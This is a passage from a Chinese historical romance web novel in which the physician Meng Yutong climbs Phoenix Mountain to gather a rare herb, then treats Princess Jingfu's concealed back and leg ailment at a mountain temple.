她匆匆提起医箱,快步离开,没给秋娘继续牵线搭桥的机会。 秋娘追到门口,望着她快步x离去的倩影,无奈又好笑地摇头:“唉,如今这女娃娃,面皮忒薄了些……”她心中盘算,也罢,下回寻个机会再提。 只是可惜,自己没个适龄的儿子,这般品貌双全的好姑娘,真是打着灯笼也难寻了。 孟玉桐回到照隅堂时,日影已微微西斜,约是申时初刻。 初夏午后的风带着温煦的暖意,拂过檐下悬挂的药草,送来阵阵清苦微甘的气息,也熏得人有些慵懒倦怠。 堂内清寂,并无病患。吴明单手支着脑袋,伏在柜台上,脑袋一点一点往下拽。 白芷则端坐窗边小几旁,低眉敛目,指尖翻飞,绣着香囊。 见孟玉桐归来,吴明一个激灵醒过神,揉了揉惺忪睡眼,忙从柜台后绕出相迎:“当家的回来了!” 白芷也放下针线,起身上前接过她手中的医箱。 孟玉桐未作停歇,径直走向药柜。 她从医箱中取出方才在济安堂开好的药方,指尖在琳琅满目的药屉间快速游走,动作利落精准,称量、分拣、包裹,一气呵成。 吴明跟在她身后,好奇问道:“当家的,今日太医局之行可还顺遂?上官都交代了些什么要紧事?” 孟玉桐示意他打开医箱,取出那本靛蓝封皮的《官医馆核查准则》。 她转身,遥遥一指那册子:“新政细务繁多,纪昀将其汇集成册,详述了医馆经营诸多需留意之处。往后闲暇,你与白芷需多加研读,熟记于心。” “这么说,往后对接咱们照隅堂的,果真是那位纪医官?”吴明顿时眉飞色舞,睡意全无,语调都扬了起来,“哎呀!当家的,您同纪医官这缘分,啧啧啧,当真是妙不可言呐!” 白芷闻言,手中银针在布面上轻轻一顿,横了他一眼:“管他是哪位医官对接?小姐让你多看册子,你倒有闲心琢磨这些有的没的!” 吴明讪讪地摸摸鼻子:“我这不是好奇问问嘛!当家的,您说是不是?” 他笑嘻嘻地看向孟玉桐。 孟玉桐已将药包扎紧,用麻绳仔细串好。她神色一正,点头道:“吴明,这几日,堂中饮水需格外留意。外头的水暂且莫饮,便是后院井水,也务必烧开方可入口。” 吴明神色一凛:“哦?可是出了什么岔子?” “具体缘由尚说不清楚,你且照做便是。”孟玉桐略一沉吟。桃花街上,除却自家医馆,何浩川的清风茶肆与隔壁王叔的饮子铺,皆是用水大户。 她抬眸吩咐道:“还有一事。你稍后去趟清风茶肆和王记饮子铺,将此事也知会他们一声,提醒他们暂用井水,务必烧开。” “还有其他街邻,也稍稍提点一二。对面庆来饭馆也不要忘了。”她补上。 “是!”吴明应下。 孟玉桐又将那几包捆扎好的药递给他:“这是济安堂小辉和杏儿急需的汤药,劳烦你即刻送去。路上顺道买一包糕点,给堂中一个叫小雪的小姑娘。” “得令!”吴明接过药包,爽快应道,“左右堂中清闲,我这便去跑一趟!” 话音未落,人已风风火火地奔出了大门。 白芷坐回窗边绣架前,拿起针线,低声嘟囔:“这吴明,整日里话比麻雀还多,吵得人脑仁疼。” 孟玉桐莞尔一笑,也拣起一枚未完成的素色香囊,在白芷身旁坐下,拿起针线:“他年纪小,性子跳脱些,心是好的。你若嫌他聒噪,去后院药房躲个清静便是。” “哎呀小姐!”白芷见她要动针线,连忙放下自己手中的活计,伸手欲拦,“您这绣工,还是饶了这上好布料吧!仔细又糟蹋了料子!” 孟玉桐手腕一转,轻巧避开白芷的手,笑道:“无妨,权当练手。绣坏了不卖便是。来,你教我,我想绣只蝴蝶。” 她指尖点了点素白的锦面。 白芷无奈,只得依她,凑近些,指着布面细细指点:“喏,蝶翼轮廓在此,针尖从此处入,斜斜穿过……再由此处引出……” 两人头挨着头,一个教得认真,一个学得专注。孟玉桐一边笨拙地运针走线,一边道:“如今我们只售安神香囊,品类过于单一。 “晚些我再拟几个方子,诸如清心宁神、养颜润肌、驱蚊辟秽等不同功效的。你绣制时,不妨以底色或纹样稍作区分,便于辨识。” “好,小姐思虑周全。”白芷应道,又捏着孟玉桐的手腕调整针脚,“这里,力道要轻匀……” “对了,”孟玉桐手上动作不停,状似随意问道,“刘大哥他们近来在忙些什么?似乎有段时日未曾见过了。” 白芷回想了一下,答道:“听崔大哥提过一嘴,说他们这几日都在城外庄子上看茶,想收一批上好的春茶运回秦州。小姐找他们有事?” “嗯,”孟玉桐点头,“明日我打算去趟凤凰山采药。想着刘大哥他们常年在外奔走,对山路熟稔,想请他们同去,也好有个照应。” 白芷尚未接话,只听门外一道清朗的声音伴着脚步声闯了进来:“玉桐姐姐,何必麻烦秦州的大哥们?我陪你去!” 两人循声望去,只见何浩川与送药归来的吴明一前一后进了堂。 何浩川一身竹青衫子,步履轻快,径直走到孟玉桐身侧,熟稔地寻了个小杌子坐下。 吴明耸耸肩,解释道:“我就去清风茶肆传了个话,这小子非缠着要跟来串门子。不过当家的,” 他转向孟玉桐,正色道,“那凤凰山山高林密,路可不好走!您一个姑娘家独自上山,实在让人放心不下!是什么稀罕药材?不如告诉小的,我去替您采来!” 孟玉桐摇摇头,语气温和却坚定:“不必担心,那地方我去过。只是那药草生于险峻之处,采摘不易,更需特殊手法保存,非我亲去不可。” 何浩川闻言,眼睛一亮,忙不迭道:“玉桐姐姐,我家的茶园就在凤凰山腰那片坡地。我经常跟着我爹上山采茶,那一带的山路沟坎,我闭着眼都能走个来回。 “明日我同我爹告个假,让我陪你去吧!保管比那些秦州大哥更熟门熟路!” 他拍着胸脯,少年意气飞扬。 白芷也立刻道:“姑娘,我也陪您去!” 吴明也赶紧凑上前:“那……那也算我一个!” 一时间,三双眼睛齐刷刷、亮晶晶地望向孟玉桐,倒把个辛苦的采药差事,衬得像是什么令人艳羡的美差。 孟玉桐眸光在三人脸上流转片刻,最终,那清亮的目光静静笼住了吴明,唇角弯起一抹淡淡的笑意。 白芷与何浩川见状,也默契地跟着她,无声地将视线投向吴明。 吴明被看得浑身不自在,一张脸瞬间垮了下来,哀嚎道:“好好好!我知道了!馆里不能没人,我留下看家!我留下!下回……下回再有这等出门的事,可千万记得带上我啊!我也想出去透透气!” “不是去玩的,”白芷一本正经地纠正他,“小姐说了,是采药,是正事!” “唉,都一样,都一样……”吴明拖着长调,幽怨地瞥了三人一眼,一步三晃地滑回柜台后,重新趴伏下去,只留一个郁闷的后脑勺对着众人。 几人相视,皆忍俊不禁。 孟玉桐与何浩川约定了明日出发的时辰,何浩川又与两人闲聊了几句,便告辞离去了。 第48章 五月初二,天晴转阴采药 五月初二,天晴转阴,云重,闷热。 凤凰山巍然矗立于临安城郊,山势陡峭,层峦叠嶂,主峰如利剑直插云霄。 盛夏时节,城中酷暑难耐,此处却因山高林密、溪涧纵横而凉意沁人,常有富户官眷前往半山腰处的青岚寺清修避暑,享一份世外清凉。 自山脚至青岚寺,尚可行车走马。然若欲攀上峰顶,则唯有倚仗双足,循着崎岖蜿蜒的山径艰难而上。 清晨,孟玉桐携白芷、何浩川,乘一辆马车向凤凰山进发。 抵达慈云寺时,日头已升得老高,约莫巳时三刻。 虽值初夏,但山间清风徐来,裹挟着草木的清新与水汽的微凉,拂去一身燥热,带来几分心旷神怡。 几人将马车寄于寺中,稍作休整,便由何浩川引路,沿着寺后一条更为隐秘陡峭的小径,向顶峰一步步攀援。 何浩川行在最前,背负一只药篓。他手持镰刀,利落地劈开道旁横生的荆棘与茂密杂草,为身后的孟玉桐和白芷开辟出一条相对好走的路。 “瞧那边,”他喘息稍定,抬手指向云雾缭绕的上方,距离峰顶尚有一段距离的山坡,“便是我x家的茶园。茶肆里卖得最好的‘浮梁雪毫’,便是采自此处。” 他语气带着自豪,“此峰高耸入云,终年云雾滋养,加之土壤富含云母石英,气候温润多雨,昼夜温差显著,最是孕育灵芽。 “所产茶叶芽叶肥厚,白毫密被,冲泡后汤色澄碧,香气清幽高长,入口鲜爽甘醇,回甘绵长,故而深得临安城中贵胄名士的青睐。” 白芷平日少经此等跋涉,此刻已是气息微促,闻言叹道:“何公子家业如此丰厚,单凭这茶园已是衣食无忧,何必还要劳心费力经营那茶肆呢?” 孟玉桐亦抬眼望去,只见那片茶园依山势绵延起伏,绿浪翻涌,规模可观。 按临安上等茶价估算,年入数千贯不在话下,相比之下,茶肆的进项确实显得微薄。 何浩川闻言,清俊的面庞绽开爽朗笑容,那双天生带笑的眼眸弯如新月,颊边陷出浅浅梨涡,更添几分阳光亲和:“这茶肆啊,说来话长,是我母亲生前一手操持起来的。里头一桌一椅,都留着她的印记。” 他顿了顿,眼中掠过一丝温柔的追忆,“母亲在世时总说,守着这满山青翠的茶园固然清静安逸,但山下的茶肆却能迎来送往,听见四面八方的故事,闻到人间最真实的烟火气。她爱那份热闹生机。” “母亲走后,我和父亲……便更舍不得关上这扇门了。”他语气微沉,那份怀念化为一种坚定的守护,“仿佛留着它,就留住了母亲最爱的那份人间烟火,留住了她的一部分。” 他深吸一口气,笑容重新变得明亮有力,带着一种担当:“再者,茶肆忙碌起来虽确实辛苦,灶火不息,宾客不绝,但也能让父亲有个实实在在的寄托,叫他没那么多空闲沉浸在往事里忧思伤神。这般热热闹闹地忙着,脚踏实地地操持着,日子反倒过得充实亮堂,我觉得挺好。” 白芷这才惊觉失言,面上一赧,不安地看向孟玉桐。 孟玉桐轻轻拍了拍她的手背以示安抚,转而对何浩川关切道:“令尊身体如今可还康泰?他若白日操劳,饮茶还需节制,不妨换些安神的药茶调理。” “好多了!”何浩川忙道,“自上次那事之后,我可不敢再让他饮浓茶了。如今他案头放的,都是白水一盏,再配上姐姐铺子里那安神香囊,夜里也能睡得安稳许多了。” “如此便好。”孟玉桐颔首。 三人继续向上攀登。初始小径尚算清晰,越往上行,人迹愈罕,荆棘藤蔓交织如网,乱石嶙峋,步履维艰。 何浩川只得频频挥动镰刀,奋力为两位女子开道。 如此艰难攀爬了一个多时辰,日头已高悬中天。停下脚步暂歇时,立于陡峭山道回望,只见脚下层峦叠翠,林海翻涌,远处的临安城郭在薄雾中若隐若现,如一幅巨大的青绿山水画卷铺陈眼前。 抬头望天,虽则阳光炽烈,却不知何时蒙上了一层毛玻璃似的晕,天边堆积起鱼鳞状的灰白云絮。 山风陡然转劲,带来几缕不同寻常的阴凉湿意,晚些时候或将有雨。 “玉桐姐姐,接下来往哪儿走?可是到了?”何浩川抹了把额角的汗珠,环顾四周问道。 过了他家茶园后,便全凭孟玉桐指引方向。此刻他们似乎已置身峰顶,四周再无向上的路径,唯有向下延伸的陡坡与峭壁。 孟玉桐的目光投向不远处那道深不见底的悬崖,声音平静无波:“你们在此稍候。” 她伸手解下何浩川背上的药篓,挎在自己臂弯。 接着,她从篓中取出一捆早已备好的粗麻绳,动作利落地将一端牢牢系于自己腰间,另一端则紧紧绑缚在崖边一株虬枝盘错、根深蒂固的老松树干上。 她这一番举动,瞬间惊住了何浩川与白芷! “小姐!您这是要做什么?!”白芷脸色煞白,扑上来紧紧抓住孟玉桐的手臂,“太危险了!万万不可!” “玉桐姐姐!这可不是玩笑!”何浩川也一个箭步上前,伸手就去解她腰间的绳结,“让我来!我身手好!” 孟玉桐敏捷地后退半步,避开他的手,语气坚决:“那药草生于特殊环境,采摘手法需极精细,你不熟悉,极易损毁。你们若实在不放心,便替我守好这绳索,仔细盯着便是。” 她望向渐起阴霾的天色,加重了语气,“时辰不早了,下山还需耗费不少功夫,我们耽搁不起。” 两人心急如焚,却又拗不过孟玉桐的坚持,只得忧心忡忡地守在树旁,紧盯着那根绳索,眼睁睁看着孟玉桐背着药篓,一步步沉稳地走向悬崖边缘。 孟玉桐在距离崖边仅半步之遥处站定。 她深吸一口气,强迫自己将目光聚焦于眼前嶙峋的崖壁,绝不向下瞥视那令人头晕目眩的万丈深渊。 上一世踏足此地,寻找紫雪参的艰辛远胜今日。彼时隆冬,大雪封山,天地皆白,厚厚积雪掩埋了一切生机,茫茫雪野中寻觅几株救命的紫色仙草,无异于大海捞针。 她仅凭着祖母模糊不清的描述,在刺骨寒风中跋涉摸索了不知多久,几乎耗尽了所有气力,才终于寻到这处绝壁。 此刻,她小心翼翼探身俯视,目光扫过下方几尺处嶙峋的石缝。 几株形态奇特的紫色植物映入眼帘。 其茎秆纤细却坚韧,呈深紫色泽,顶端簇生着数片银白茸毛的小小复叶,根须深扎于潮湿厚重的苔藓之中,在险峻的石壁上迎风而立,透着一股灵性。 正是她前世所采的紫雪参。 她心中大喜,累得懵了,竟也忘了自己是立在悬崖边了,恍惚间向前微倾,脚下碎石簌簌滚落。 好在空谷中骤然涌起一股凛冽山风,瞬间将她吹得神智清明,惊出一身冷汗。 她立刻收摄心神,双手攥紧腰间的麻绳,试探着将身体重心缓缓下移,双脚谨慎地踩踏在突出的岩石棱角上,紧贴着冰冷的崖壁。 待身体稳住,她终于看清了那几株紫雪参,尚是幼苗,叶片稚嫩,根须也未完全长成。 她不敢大意,从药篓中取出小铲,小心翼翼地将植株连同其赖以生存的厚实湿润的苔藓一同完整掘起,放入身后的药篓之中。 整个过程中,她视线专注地盯着眼前,不往下分一眼。 待最后一株紫雪参安然入篓,她才惊觉后背衣衫早已被冷汗浸透。谷底阴冷潮湿的风猛然灌上来,激得她不由自主地打了个寒颤。 白芷和何浩川在那头也等的心惊,似乎听见孟玉桐这边有了动静,何浩川便上前来准备拉她。 他走到崖边,视线只是浅浅往下一掠,就觉头晕目眩,心跳加速。 他深吸了口气,闭着眼睛大声问:“玉桐姐姐,你可采好了?” “好了!”孟玉桐应了一声,双手用力攀住凸起的岩石,手脚并用,奋力向上攀爬。 何浩川闻声,猛地睁开眼,顾不得心悸,扑到崖边,哆哆嗦嗦地伸出双手,牢牢抓住孟玉桐的手臂,使出全身力气将她拉了上来。 两人在崖边站定,何浩川仍觉后怕,他几乎是本能地环住孟玉桐的肩膀,将她往后边安全的地方带,“玉桐姐姐,什么灵丹妙药也抵不上性命要紧!这里多危险啊!往后可不要再如此了,真是担心死人了。” 白芷见人上来了,才敢松开紧攥着的绳子。 她一把扑过来,紧紧抓住孟玉桐的另一只手臂,上下打量着,眼中泪光闪动。 何浩川瞬时间被挤到一边,这才惊觉自己情急之下逾越了男女大防。 他呆呆看了眼自己的手,掌心似乎还残留着她肩胛透过薄衫传来的温热触感,此刻竟似烙铁般灼得他心口发慌,脸颊也莫名发起烫来。 他只觉此时的手竟火辣辣的…… “我无事,让你们忧心了。”孟玉桐冲两人安抚一笑。山风拂过,吹动她额角几缕被汗浸湿的碎发,衣袂翩然,勾勒出纤细却坚韧的身姿,虽经风尘,却如空谷幽兰般清丽脱俗,宁静安然。 何浩川心中猛然一动,忙别开眼。 白芷紧紧拉着孟玉桐,抬头望了望骤然阴沉下来的天色,急声道:“小姐,这云压得越来越低了,怕是要落雨!咱们快下山吧!” 何浩川这才从纷乱的心绪中回神,迭声应道:“好!好!快走!” 几人循着来时的足迹,一路疾行下山。来时劈开的荆棘小径,此刻走起来没有那般费劲,速度比上山时快了许多。 头顶的乌云如泼墨般迅速积聚翻滚,天色愈发昏暗阴沉,山风也带上湿重的凉意。x三人不敢稍歇,铆足了劲向青岚寺的方向赶去。 途经一处怪石嶙峋的陡坡时,孟玉桐眼尖,在石缝草丛间瞥见几株草药。 她脚步微顿,迅速采下。是几株根茎虬结、状似龙骨的‘穿山龙’,还有几丛叶片肥厚、开着紫色小花的‘石斛’,以及数株香气清冽的‘九里香’。 这些都是生于深山、不易采撷的良药,她顺手收入药篓,以备不时之需。 紧赶慢赶约莫一个时辰,三人终于气喘吁吁地抵达了青岚寺的山门。 孟玉桐从停靠的马车中取出自己的医箱,从中拿出几枚蜡封的‘辟秽正气丸’,分予白芷与何浩川:“含服,可提神醒脑,驱除湿浊。” 几人刚服下药丸,身后便传来“哗啦”一声巨响。 酝酿已久的暴雨终于倾盆而下,豆大的雨点密集地砸在青石地上,溅起一片白茫茫的水雾。 白芷回头望着那大雨,拍着胸口,心有余悸:“亏得咱们脚程快,再晚一步,可就成落汤鸡了!” 何浩川却显得异常沉默。 孟玉桐向迎上来的小沙弥合十行礼,说明来意:“小师傅慈悲,我等路遇大雨,想在此稍作避雨修整。不知贵寺此时可有斋饭布施?” 小沙弥回礼道:“阿弥陀佛,施主来得正好,斋堂尚有余食。几位请随我来。” 孟玉桐道谢,将采来的紫雪参连同包裹着湿润苔藓的药篓小心置于脚边,又取出一块干净的布巾,仔细将药篓严严实实地遮盖好,以防湿气侵扰。这才拿起药篓,随小沙弥步入斋堂。 刚坐下取了简单的素斋,孟玉桐便瞧见一个身着淡青比甲、梳着双丫髻的丫鬟打扮的女子也走进斋堂。 虽作仆婢装束,但其衣料质地光洁,举止间透着几分不似寻常人家的气度。她目不斜视,只麻利地用食盒装了几样精致小菜,便匆匆离去。 孟玉桐目光随她身影移动,待她消失在门外雨帘中,才状似无意地向身旁添茶的小沙弥问道:“小师傅,今日也有来寺中避雨的香客?” 小沙弥答道:“那是借住西厢清修的一位女施主的贴身侍女。那位施主已在寺中静养半月有余了。” 孟玉桐含笑颔首:“青岚寺梵音清幽,檀香缭绕,果是清修福地。多谢小师傅收留,待雨歇后,我等定当为宝刹添些香火,聊表心意。” 小沙弥双手合十:“阿弥陀佛,施主善心,功德无量。” 屋外暴雨如注,嘈嘈切切地砸在殿宇屋顶,声势惊人。 孟玉桐透过洞开的窗棂向外望去,恰好瞥见那青衣侍女撑着油纸伞,沿着回廊疾步走向西侧一处清幽的厢房。 想必那就是沙弥口中那位清修的女客所居之处了。 她收回目光,不再关注。 今日攀山采药,体力消耗极大,途中又只以干粮果腹,此刻早已饥肠辘辘。她低下头,专心对付眼前的斋饭。 腹中空空,进食的速度便比平时快了几分,不过片刻,碗中饭菜已见底。 白芷与何浩川尚在细嚼慢咽。孟玉桐放下碗箸,轻声道:“你们慢用,我去前殿敬一炷香。” 孟玉桐将装有紫雪参的药篓和医箱留在斋堂座位上,叮嘱白芷看顾妥当,便起身离席,循着沙弥指引的方向,往寺庙深处的大雄宝殿走去。 前往大雄宝殿需穿过一段长长的回廊,恰好经过香客居住的厢房区域。孟玉桐沿着方才那青衣侍女离开的路径前行。行至一处雅致厢房门外时,紧闭的门扇忽地被人从内猛然推开。 她下意识顿住脚步,侧身让道,垂眸静候。 “哟,这不是孟家的大小姐吗?”一道张扬中带着惯有讥诮的女声自门后响起。 孟玉桐抬首,对上一张妆容精致却难掩骄矜之色的熟悉面孔。 眉梢高挑入鬓,唇边噙着一丝若有似无的嘲讽,说话间,耳畔一对殷红的珊瑚坠子随之摇曳,更添几分咄咄逼人。 是景福公主。 孟玉桐神色不变,敛衽屈膝,姿态恭谨端方:“殿下万福金安。” 景福公主轻笑一声,目光如针,将她从头到脚扫视一遍:“你跑到这深山古寺来做什么?求神拜佛?” 她刻意拖长了调子,带着玩味的恶意,“莫不是听说这寺里的月老殿颇为灵验,后悔退了与我那外甥的婚事,巴巴地跑来求菩萨再给你续上? 景福说话似带刺,上回在纪家,她早已领教过。同这般金尊玉贵,脾气又不太好的公主说话,是没必要逞口舌之快的,只能顺着她来。 孟玉桐低着头,目光平静地掠过廊外倾泻如注的暴雨,温声解释道:“公主殿下说笑了。婚事已退,乃是民女与纪公子缘分浅薄。民女有自知之明,既已退亲,便再无不切实际的妄念。今日上山实为采药,不巧遇雨滞留,此刻正欲往大殿敬香添些香油。” 采药?呵,真是滑天下之大稽!她一个养在深闺的商贾之女,如今竟也学起悬壶济世的华佗来了?难不成真以为自己是什么天赋异禀、无师自通的神医圣手不成?简直是痴人说梦! 景福公主心中那嫌弃之意仍在,但见孟玉桐态度恭顺谦卑,言辞间也识趣地撇清了与纪昀的干系,她鼻间轻哼一声,眼中的倨傲与厌弃丝毫未减,只随意地挥了挥那保养得宜、戴着精致护甲的手,如同驱赶蚊蝇:“还不让开些,没眼色地挡着路了。” “是。”孟玉桐依言,温顺地后退两步,微垂着头,敛衽恭立一旁,将廊道彻底让出。 待丫鬟小心翼翼地搀扶着景福公主走过回廊,身影消失在转角,孟玉桐才缓缓抬起眼眸,面上无波无澜,重新提步,不疾不徐地继续向大雄宝殿行去。 踏入庄严肃穆的大雄宝殿,檀香馥郁,梵音低回。 巨大的金身佛像端坐莲台,低眉垂目,悲悯众生。 孟玉桐目光扫过,见景福公主并未离去,而是在殿旁一间供贵客歇息的静室中暂避,其侍女侍立门外。 孟玉桐未作停留,径直走到佛前蒲团跪下,双手合十。 她从前不信神佛,此刻仰望佛像慈悲面容,心中亦无甚宏愿,只低低祝祷:“信女孟玉桐,今日叨扰宝刹,蒙收留之恩,特来敬香。不敢妄求,唯愿佛祖保佑亲友安康,世间少些病痛疾苦。” 语毕,她自袖中取出备好的几枚银锞子,轻轻放入功德箱中。 正欲起身,忽闻静室方向传来一声清晰的嗤笑,带着毫不掩饰的嘲弄。 紧接着,便是“哗啦”一声脆响,似有杯盏被人狠狠拂落在地。 守在门口的侍女惊呼一声“公主!”,慌忙掀帘入内。 孟玉桐侧身望去,透过掀起的帘隙,只见景福公主原本倨傲的神情已荡然无存,脸色骤然煞白如纸,冷汗涔涔,竟痛苦地伏倒在案几之上。 那侍女惊慌失措地上前搀扶,景福公主勉强撑起身子,目光却恰好与静室外窥视的孟玉桐撞个正着。 那双眼睛中瞬间迸射出羞愤交加的狠厉眸色。 孟玉桐心头一凛,连忙垂眸。 而景福似要强撑着站起,由侍女搀扶着刚迈出一步,左腿甫一落地,竟猛地一软,整个人失去平衡,连带着那侍女也支撑不住,两人轰然一声栽倒在案上。 室内又是一阵碰撞声响。 侍女吓得不轻,惊叫一声:“公主殿下!” 帘子已经完全被放下了,孟玉桐看不见里头的情景,站在原地眸中转过几缕深思。 医者本能终究压过了顾虑,孟玉桐不再犹豫,快步上前,撩开静室的帘子走了进去。 她快步走到两人跟前,与那六神无主的侍女合力将疼得浑身微颤的景福公主搀扶起来,安置在旁边的软榻上,“公主可是哪里不舒服?” 孟玉桐目光敏锐地扫过景福紧按后腰的手,以及她方才无法着力、此刻仍微微颤抖的左腿。 心中有了推断,大约是腰后和腿上的问题。 侍女急得语无伦次:“殿下,要不要奴婢去城里请……太医……” “来不及了。”孟玉桐打断她,“外头暴雨如注,山路泥泞难行,往返城中至少需一个半时辰。殿下眼下情况,只怕等不得。民女略通岐黄,斗胆请公主允准,让民女为公主一观。” “放肆!”景福公主疼得倒吸冷气,却仍强撑着威仪,猛地抬手狠狠推开孟玉桐,力道之大,竟让孟玉桐踉跄后退一步才站稳。 “你……你竟敢咒本宫?!本宫好得很!不过是不小心绊了一下!滚出去!”她声音因疼痛而尖利颤抖,眼神却凶戾。 第49章 第49章孟玉桐……孟玉桐!…… 景福公主力气颇大,即便是疼成这样,推孟x玉桐的力道依旧不小。 孟玉桐被她推得后退半步,她站定后,视线掠过景福的身上,她裙角散开,那薄薄的丝绸之下,两条腿的轮廓清晰可见,可见两腿的轮廓,左腿明显比右腿纤细了一圈。 孟玉桐忽然想起上次在孟府,景福离席时,脚步一深一浅,浅的那只便是左腿。 她身上……只怕有什么不愿宣之于口的隐疾。 这也能解释她方才的反应为何如此激烈。 她不想让别人知道。 孟玉桐又看向她身上红色的贵气逼人的服饰和头饰,似乎上半身装扮的过于隆重,这样……便能让人一眼注意到她的上半身,而不会过多注意她的腿…… 厘清这些,孟玉桐很快清醒过来,这位公主殿下,怕是患有某种腰骶旧伤,导致神经受压,使得左腿在特定情况下突发麻痹无力,甚至无法站立。 此等涉及女子腰腹私密处、更关乎行动体面的隐疾,难怪她讳莫如深,羞于启齿。 以她这般骄矜跋扈又极度在意体面的性子,若被她知道自己竭力隐藏的隐疾已被窥破,后果不堪设想。 此刻最明智之举,便是立刻退出,佯作无知。 她拱手一揖,声音平静:“是民女唐突,惊扰殿下,民女告退。” 说罢,便转身往外走。 行至静室门口,身后传来侍女压抑不住的抽泣,以及景福公主因剧痛而发出的沉重喘息,落在耳边,令人心中微顿。 恰在此时,一阵穿堂风猛地掀起静室的布帘。 布帘高高扬起,帘外,大雄宝殿中那尊低眉垂目的金身菩萨,其悲悯的目光静静落入孟玉桐眼中。 “医者父母心,当以济世活人为先,不该因惧祸患麻烦而弃病者于水火。” 这是纪昀在济安堂中,与她讨论小雪病症时曾说过的话。 她那时并未放在心上,而此刻,在这风雨飘摇的古寺,面对着一个刻薄却深陷病痛的灵魂,这句话的分量却骤然压在了孟玉桐的心头。 她脚步顿住,背对着室内痛苦的喘息,深深吸了一口气,终是喟然一叹,毅然转身,重新走回景福公主榻前。 “劳烦你,”孟玉桐对那六神无主的小丫鬟低声道,“速去斋堂,寻一位名叫白芷的姑娘,取我的医箱来。还有一只药篓,也一并带来。” 小丫鬟惶惑地看向景福公主,不知该不该听她的。 景福公主正被又一波剧痛席卷,冷汗淋漓,竟一时无力呵斥。 孟玉桐递给她一个安抚的眼神:“快去吧,时间拖得越久,对殿下越是不利。还有,若我的同伴要跟来,务必拦下,就说我稍后便去寻她们。” 见公主状况危急,小丫鬟不敢再犹豫,用力点头,抹着眼泪飞快地冲了出去。 孟玉桐在榻边蹲下身,伸手欲探向景福后腰。 “放肆!”景福强忍疼痛,扬手狠狠拍开孟玉桐的手,凤眸圆睁,怒斥道,“本宫金枝玉叶之躯,岂容你这等贱民触碰?!” 孟玉桐神色不变,目光清亮,直视景福:“公主殿下,若您还想要这双腿行走自如,此刻便莫要再任性挣扎。不按伤处,不知瘀阻深浅,若延误了病情,致使筋骨彻底坏死,莫怪民女未曾尽力。” 景福被她的气势慑得一怔,随即气极反笑:“你……你这刁民!本宫说了没病!你一再以下犯上,本宫定要治你个大不敬之罪,将你……” 话音未落,孟玉桐已不再与她口舌纠缠,一手稳稳按住她挥舞的手腕,另一手精准地探向她后腰下方,靠近尾椎的隐秘位置。指尖甫一用力按压—— “啊——!”景福公主猝不及防,疼得浑身剧颤,发出一声凄厉痛呼,“刁……刁民!本宫……本宫绝不饶你!” “此处曾受过猛烈撞击?当时骨裂,瘀血沉积未散,压迫经络日久。” 孟玉桐收回手,语气笃定如断金切玉,“此乃病根,需以活血通络之法疏解。所幸,民女今日所采之药,正对此症。” 说得居然都对症? 景福公主叫嚣的语声戛然而止。她半仰在软榻上,喘息急促,看向孟玉桐的目光第一次带上了惊疑不定:“你……你当真懂医?” “方才在厢房外偶遇,殿下疑心民女来殿中求姻缘时,民女便说过,此次是来采药的。” 孟玉桐的手顺势下移,隔着锦缎轻轻按压景福的左腿大腿根部内侧。景福身体一僵,却未再激烈反抗。 “不瞒公主殿下,”孟玉桐迎上她的视线,坦然道,“女在桃花街确有一间医馆,名为‘照隅堂’。行医所需一应资质文书俱全,皆已在医官院登记造册,存档备查。殿下若心存疑虑,随时可遣人前往医官院或民女医馆查验真伪。” 景福公主眼中闪过一丝复杂,似是意外于她的镇定与直接,但旋即又被更深重的骄矜与不屑覆盖。 她忍着一波波袭来的剧痛,从齿缝间挤出一声冷笑:“开了医馆又如何?世道,有钱能使鬼推磨,谁知道你那身医术是真是假,还是用银子堆砌出来的门面?你信不信,” 她语气陡然转厉,带着毫不掩饰的威胁,“本宫只需轻飘飘一句话,便能让你那不堪一击的破医馆,顷刻间化为一片焦土!” 然而,狠话放完,那来自腰后的钻心疼痛又猛地一绞,疼得她瞬间泄了气,额角渗出细密的冷汗。 她实在是没力气再与眼前这碍眼的刁民争执,只得在心中暗暗发狠:且等着!等本宫缓过这阵疼,定要将你这不知天高地厚的贱民擒回宫里,重重打上三十大板,方能出了这口恶气! 孟玉桐对她的威胁恍若未闻,她的手指在景福公主左腿几处关键穴位加重力道按压,尤其是感知经络循行的区域,沉声问道:“此处可有感觉?是否酸麻胀痛?” 然而,景福公主只是不耐地扭动了一下,对于她加重的按压,竟似毫无所觉,并未出现预期的吃痛或抗拒反应。 孟玉桐眸色微沉,心下顿时一凛,这左腿的痹阻之症,远比她预想的更为深沉严重。神经受损的程度,恐怕已导致局部知觉显著减退了。 她面上却无波澜,只平静陈述:“殿下这左腿,每逢阴雨或劳累,腰后旧伤便如毒蛇噬咬,随即左腿麻痹如废,自大腿蔓延至脚踝,严重时寸步难行,需倚墙而立。那麻痹之感,至少需半个时辰方能稍缓,是也不是?” 景福公主瞳孔骤然收缩,脸上血色尽褪,死死盯着孟玉桐,“你……你怎敢妄言我的隐疾?!信不信我即刻摘了你的脑袋!” 连‘本宫’都顾不上了。孟玉桐心中了然,自己诊断无误。 “公主殿下,”孟玉桐松开她的手,规劝道:“人之躯体,犹若国之疆土。病邪如寇,盘踞日久则根基动摇。讳疾忌医,只恐养痈成患,终至膏肓难救。” 她顿了顿,目光沉静地迎上景福惊疑不定的视线,补上关键一句:“殿下此刻动弹不得,民女诊治心切,若一个不慎,将这‘疆土’之上‘寇匪’盘踞的详情,说与旁人知晓……”她未尽之言,带着恰到好处的暗示。 “你敢?!” 恰在此时,小丫鬟抱着孟玉桐的医箱和药篓,气喘吁吁地奔了进来。 孟玉桐不再多言。 景福公主死死咬住下唇,眼神复杂地瞪着孟玉桐,虽依旧满是不甘与怨愤,身体却终于不再剧烈挣扎,算是默许。 孟玉桐迅速打开医箱,取出针包。 与小丫鬟合力,小心翼翼褪去景福公主繁复的外裳,仅余贴身里衣。她并未再褪衣物,只隔着轻薄的衣料,以手指精准按压,确定了腰椎附近几个关键的穴位与瘀阻点。 银针在她指间闪着寒光,稳稳刺入穴位,隔着衣衫施针,手法娴熟利落。 几针下去,景福紧蹙的眉头似有微松,但剧痛仍在。 扎针完毕,孟玉桐又从药篓中取出一段刚采的穿山龙,递给小丫鬟:“再辛苦一趟,向寺中借石臼一用。将此药洗净,连皮带根捣成细泥。再设法弄些新鲜姜汁,混入药泥之中。速去速回。” 小丫鬟如奉纶音,双手捧着那还沾着泥土的穿山龙,再次匆匆离去。 静室内重归寂静,只余窗外滂沱的雨声和景福压抑的喘息。 “殿下此症,若能遵医嘱,好生调养,痊愈有望。”孟玉桐一边整理针具,一边平静道。 景福公主嗤笑一声,带着浓浓的不信与嘲讽:“呵,口气倒不小!宫中多少杏林国手都束手无策,你一个名不见经传的黄毛丫头,能有什么通天本事?” 